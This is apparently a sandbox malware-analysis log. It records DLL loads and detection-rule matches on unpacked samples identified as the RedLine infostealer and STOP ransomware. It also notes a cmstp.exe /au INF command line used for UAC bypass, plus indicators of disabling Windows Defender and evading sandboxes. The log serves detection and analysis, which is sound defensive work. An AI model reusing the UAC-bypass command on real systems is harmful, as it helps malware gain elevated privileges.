                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: wlidsvc.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: clipc.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dllJump to behavior
                          Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dllJump to behavior
                          Source: KMPrEVaSfH.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess created: C:\Windows\SysWOW64\cmstp.exe "c:\windows\system32\cmstp.exe" /au C:\windows\temp\chpkcaqm.inf
                          Source: C:\Users\user\AppData\Roaming\svchost.exeProcess created: C:\Windows\SysWOW64\cmstp.exe "c:\windows\system32\cmstp.exe" /au C:\windows\temp\chpkcaqm.inf
                          Source: 30.2.E5F3.exe.2100e67.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
                          Source: 37.2.BA7B.exe.809b9f8.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
                          Source: 37.2.BA7B.exe.809b9f8.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
                          Source: 37.2.BA7B.exe.809b9f8.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
                          Source: 37.2.BA7B.exe.809b9f8.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
                          Source: 30.3.E5F3.exe.21d0000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
                          Source: 37.2.BA7B.exe.8710000.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
                          Source: 37.2.BA7B.exe.8710000.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
                          Source: 37.2.BA7B.exe.8710000.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
                          Source: 37.2.BA7B.exe.8710000.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
                          Source: 30.2.E5F3.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
                          Source: 10.2.EE23.exe.49915a0.1.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 10.2.EE23.exe.49915a0.1.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 10.2.EE23.exe.49915a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 10.2.EE23.exe.49915a0.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 22.2.EE23.exe.49715a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 22.2.EE23.exe.49715a0.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 37.2.BA7B.exe.8710000.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
                          Source: 37.2.BA7B.exe.8710000.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
                          Source: 37.2.BA7B.exe.8710000.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
                          Source: 37.2.BA7B.exe.8710000.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
                          Source: 25.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 25.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 30.2.E5F3.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
                          Source: 16.2.EE23.exe.49c15a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 16.2.EE23.exe.49c15a0.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 23.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 23.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 15.2.EE23.exe.49e15a0.1.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 15.2.EE23.exe.49e15a0.1.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 25.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 25.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 23.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 23.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 17.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 17.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 22.2.EE23.exe.49715a0.1.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 22.2.EE23.exe.49715a0.1.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 15.2.EE23.exe.49e15a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 15.2.EE23.exe.49e15a0.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 17.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 17.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 11.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 11.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 18.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 18.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 42.2.svchost.exe.3fbd578.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
                          Source: 42.2.svchost.exe.3fbd578.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
                          Source: 42.2.svchost.exe.3fbd578.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
                          Source: 42.2.svchost.exe.3fbd578.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
                          Source: 24.2.EE23.exe.4a815a0.1.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 24.2.EE23.exe.4a815a0.1.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 16.2.EE23.exe.49c15a0.1.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 16.2.EE23.exe.49c15a0.1.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 37.2.BA7B.exe.809b9f8.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
                          Source: 37.2.BA7B.exe.809b9f8.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
                          Source: 37.2.BA7B.exe.809b9f8.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
                          Source: 37.2.BA7B.exe.809b9f8.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
                          Source: 24.2.EE23.exe.4a815a0.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 24.2.EE23.exe.4a815a0.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 42.2.svchost.exe.3fbd578.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
                          Source: 42.2.svchost.exe.3fbd578.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
                          Source: 42.2.svchost.exe.3fbd578.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
                          Source: 42.2.svchost.exe.3fbd578.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
                          Source: 18.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 18.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
